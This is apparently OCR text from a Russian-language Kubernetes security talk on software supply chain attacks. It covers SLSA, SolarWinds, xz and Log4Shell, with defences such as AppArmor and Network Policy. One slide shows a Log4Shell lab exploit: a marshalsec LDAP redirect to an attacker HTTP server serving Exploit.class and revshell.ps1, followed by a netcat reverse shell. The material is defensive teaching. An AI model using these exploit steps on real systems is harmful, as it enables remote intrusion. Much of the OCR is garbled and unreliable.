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CNCF Security Technical Advisory Group @LunTrs

Software Supply Chain

Supply chain compromises are a powerful attack vector. In cloud native deployments everything is software-defined, so there is increased
risk when there are vulnerabilities in this area. If an attacker controls the supply chain, they can potentially reconfigure anything in an
INsecure way.

What are supply chain vulnerabilities and their implications?

The Catalog of Supply Chain Compromises provides real-world examples that help raise awareness and provide detailed information that
let's us understand attack vectors and consider how to mitigate potential risk.

On mitigating vulnerabilities

There 1s on-going work to establish best practices in this area. The list of types of supply chain compromises in the catalog of supply chain
compromises suggests some mitigation technigues for the more well understood categories.

Supply chain security paper

STAG (Security Technical Advisory Group) has put work into a comprehensive software supply chain paper highlighting best practices for
high and medium risk environments. Please check out the paper and corollary secure supply chain assessment document to learn more.

For information about contributing to the document or providing feedback, please refer to the README.


https://github.com/cncf/tag-security/tree/main/supply-chain-security
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https://clck.ru/3BV529

CNCF Security Whitepaper (@LonTrs

#h CLOUD NATIVE
N SECURITY

TAG WHITEPAPER

SECURITY

CLOUD NATIVE

COMPUTING FOUNDATION



https://www.cncf.io/reports/cloud-native-security-whitepaper/

Software Secure Factory Whitepaper

CLOUD NATIVE

COMPUTING FOUNDATION

The
Secyre

A reference architecture
to securing the software
supply chain

BY CNCF TAG SECURITY



https://github.com/cncf/tag-security/blob/main/supply-chain-security/secure-software-factory/Secure_Software_Factory_Whitepaper.pdf

SLSA

Required at Required at
Requirement SLSA1 | SLSA2 | SLSA3 | SLSA 4 Requirement SLSA1 | SLSA2 | SLSA3 | SLSA 4
Source  Version Controlled Provenance  Available
Verified History Authenticated
Retained Indefinitely 18 mo. Service
Generated
Two-Person
Reviewed Non-Falsifiable
Build Scripted Dependencies
Complete
Build Service
Common Security
Ephemeral
Environment Access
|solated Superusers

Parameterless

Hermetic

Reproducible

() — required unless there is a justification



https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html

be30MacHOCTb
Supply Chain
= KOHTpOornb SBOM?




SBOMSs don't solve security @LUNTRY

CVEs don't
solve security

Signatures don't
solve security

SBOMs don't stop SolarWinds

signatures don't stop Log4

sﬁ' Mark Manning

G @antitree
SLSA doesn't stop typosquatting

Serious question: Can someone name a
company/startup/tool that detected the xz

backdoor before it was discovered? | N
| guess... we'll do nothing (&9

23:34 - 30.03.2024 - lNpocmoTpos: 146K
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KubeCon CloudNativeCon
Europe 2023

Malicious Compliance: Reflections
on Trusting Container Scanners

lan Coldwater, Independent; Duffie Cooley, Isovalent; Brad
Geesaman, Ghost Security; Rory McCune, Datadog



https://www.youtube.com/watch?v=9weGi0csBZM

Supply Chain AonTre
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Build from modified resources —
CVE-2019-15231

ATaKyloLwmnn mogmuumpoBan
MHPPACTPYKTYPY COOPKMU,
nodasmB OOMOSMHUTENbHbIV

CKpUNT ANA BO3MOXXHOCTU
nonyvyenna RCE



Build from modified resources —
CVE-2019-15231

9
ATakyHotiina-MoancbuHnpoBan ApPpArmor
UHGPACTPYKTYPY-CBopKY; -

- . Network Policy

CKPUAT ARG BO3MOXHOCTH SecurityContext

7ZLUNTRY






Supply Chain Attack SolarWinds @LonTRy

2019 2020
Sep Oct Nov Dec Jan Feb Mar Apr May
O e @ e () e, () me—— ) m—) — ) m—) m—
Sep 4 — attackers start Nov 4 — attackers stop Feb 20 — March — estimated start of
accessing Solarwinds* Injecting test code* Solorigate distribution of Solorigate backdoor

backdoor Is Distribution of SUNBURST and target-

Sep 12 — attackers start . f
compiled and  profiling**

Injecting test code*

deployed*
2021
May Jun Jul Aug Sep Oct Nov Dec Jan
—— ) m— — ) m— m— ) m—) m— — ) m— ) m—-
Jun 4 — attackers remove malware from Solarwinds build environment* Dec 12 — Solorigate
Supply Chain attack

May — estimated start of actual disclosed*

hands-on-keyboard attacks

Activation of TEARDROP** Continued hands-on-keyboard activity**
O e e e e —— e—— e—— e—— e—— e—— —— —— e————



Solarwinds
B Kubernetes




AN [OPUTM BoikugaHue 12—14 oHewn
ﬂeIZCTBMIZ nepen nepBuYHbIM coegnHeHmnem ¢ C2

O3Kkaopa

COop nHpopmaumm o cepBepe
(username, IP, OS)

CoegnHeHune ¢ C2

3arpys3ka AonofIHNTENbHONO KOMMNOHEHTA
ONS pa3BUTUS aTaKku



An [OPUTM BbixkngaHve 12—14 aoHen
ﬂeMCTBMM nepen nepBuYHbIM coegnHeHmnem ¢ C2

Gbop-HHepopmatimit-o-cepBepe-
63Kﬂ0pa (usernrame—+P-0S) AppArmor

CoegnHeHune ¢ C2

3arpys3ka AonofIHNTENbHONO KOMMNOHEHTA
ONS pa3BUTUS aTaKku



Al [OPUTM - BbpkmoaHue 12—14 nHen
ﬂeMCTBMM nepen nepBuYHbIM coegnHeHmnem c C2

+ Gbop#Hepopmatini-o-cepBepe-
63Kﬂ'0pa (userrame—+P-0S)} AppArmor

» GoeantHermnee-GZ2 Network Policy

» 3arpyska gonosfIHNTENbHONoO KOMMOHEHTA
ONS pa3BUTUS aTaKku




ATl [OPUTM - BbrkuagaHune 12-14 gHen
.El,eVICTBMVI nepen nepBnYHbIM coeanHeHnem ¢ C2

« GbopHepopmatiit-o-cepBepe-
63|<J:|,opa (userrame—+P-0S)} AppArmor

» GoegnHertee-6G2 Network Policy

-
STMTOTUOU RO >

Ara-passutina-atakir Network Policy



3aknagka YAa3BUMOCTb






CVE-2021-44228 aka Log4shell

Bitdefender reparts
datecting attempts to
exploit the Logdj
vulnerability to
dheplay Khonsar,
Muhstik botnet, XMRig

CVE-2021 44228 miner and Orcus RAT,

Check Point reports lranian
hacking group named
“Charming Kitten,” ar APT 335,
is also behind an attempt to
exploit the Logd) vulnerability
against seven targets in lsrael
ifrem the government and
business sectors).

Logdj 2
2471 patch released,
addressing
Palo Alto Networks CVE-2021-44832
reports that Apache
upgraded the severity of

the CVE-2021-45046
vilmerakility, due to it
possibly being used to
gain remote code

axecution. Conti has become the

NVD list severity score Lt

at 10.0 critical. CVE-2021-45105 professlonalarade.
Apache Logd) 2 CISA published its list " weaponize Logd|2,

patch 2.15.0 in GitHub of products now with a full attack

released, CISA director affected by the chain

declares the vuln LogdShell flaw.
Logdj reported 1o pose a severs
to Apache. risk.

\ 4 0

2021 10 11

¢ 4

4

Dec Dec

15

CWVE=-2021-45045 was

assigned to naw

CVYE-2021-44228
record created for the Logdj 2
vulnerability. PoC for logd] was published. 2.16.0 pateh released.,
& remote code execution
vulnerability in Apache logdj
2 was axploited in the wild,

vulnerability.

Microsoft: Update:
Ransaomware attacks
on
non-Microsoft-hosted
Minecraft servers.

Blumira's security team
CrowdStrike’s §YP of intelligence said discovered Javascript
WebSocket connection

his team observed Iran-based,

state-sponsored actor Nemesis kitten  can trigger the

deploy a class file into & server that
could be triggerad by Logd).

* o

Dec Dec Dec Dec
17 18 20 28

Logjd 2 2.17.0 was
released to patch
CVE-2021-45105.

Cybersecurity research
group Cryplolagmus warns
that Logdj vulnerability is
baing used to install Dridex
banking malware.

RCE on

internal and locally
exposed unpatched

Logdj applications.

Microsoft: observed threat actors
taking advantage of this

vulnerability, including
nation-state actors and access

brokers linked to ransaomware,

2021

A 1INTDY


https://dokumen.pub/software-transparency-supply-chain-security-in-an-era-of-a-software-driven-society-2022951423.html

| vmpk®

v| & ebFiref... | kali... Q;rdesk.-E‘btermi.-'bThunar 10:50 AM O . « A © | 8 ¢

& kali@kali; ~/log4j =g
r kali@kali: ~/log4j 85x9
L-$ java marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAP

RefServer "http://10.0.0.166:8000/#Exploit™”

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

Send LDAP reference result for Exploit redirecting to http://10.0.0.166:8000/Exploit.
class

Send LDAP reference result for Exploit redirecting to http://10.0.0.166:8000/Exploit.
class

]
= kali@kali: ~/log4j 85x15

(kali® kali)-[~/log4j]
L% python3 http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.0.0.63 - - [10/Dec/2021 10:44:59] "GET /Exploit.class HTTP/1.1" 200 -
10.0.0.63 - - [10/Dec/2021 10:44:59] "GET /Exploit.class HTTP/1.1" 200 -
10.0.0.63 - - [10/Dec/2021 10:48:17] "GET /Exploit.class HTTP/1.1" 200 -
10.0.0.63 - - [10/Dec/2021 10:48:17] "GET /Exploit.class HTTP/1.1" 200 -
10.0.0.63 - - [10/Dec/2021 10:48:17] "GET /revshell.psl HTTP/1.1" 200 -
%r.0.0.63 - - [10/Dec/2021 10:48:17] "GET /revshell.psl HTTP/1.1" 200 -

L—( kali® kali)-[~/logk)]

$ nc -Lnvp 9999 1
listening on [any] 9999 ...

connect to [10.0.0.166] from (UNKNOWN) [10.0.0.63] 51296

whoami

desktop-aa4kca3\santa ,
PS C:\Users\Santa\Desktop\paper> hostname 5 5 BB N B B
DESKTOP-AA4KCA3 :
PS C:\Users\Santa\Desktop\paper> |}

|effreykopcak.com/tag/soundcard/



https://www.jeffreykopcak.com/tag/soundcard/

Log4she|| Ya3BuMocTb Log4j akTuBUpyeTCSa None3Hon
Harpy3Kkou, rae cepBep genaet 3anpoc
K some-attacker.com 4epe3 Java Naming
and Directory Interface (JNDI)

OTBET MHXEKTUTCS B NMPOLECC

RCE



Log4shell

Network Policy

OTBeT HHHKeKTHUTESBRPOHEEE
RCE

Bce!
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BbiBOObI

Supply Chain MoryT noaBUTbLCA MOoXHO 3almLaTbCA

B J110O0OM MOMEHT U B NHOOOM KakK OT U3BECTHbIX,
KOMMOHEHTE TakK U OT HEU3BECTHbIX Yrpo3
CTpoute 6e30nacHOCTb MexaHun3ambl Kubernetes®

N3 TOro, YTO BCE B3ITOMaAHO NO3BOMAKT Aenartb 3TO NMOKO

N AeKnapaTtuBHO



Cl_laCI/IGO be3onacHOCTb
3a BHMMMaHume!

[w] t.me/k8security

*a:[m] 3apasarite BONpoChl B YaTe:
3 XE t.me/kuberconf/11726
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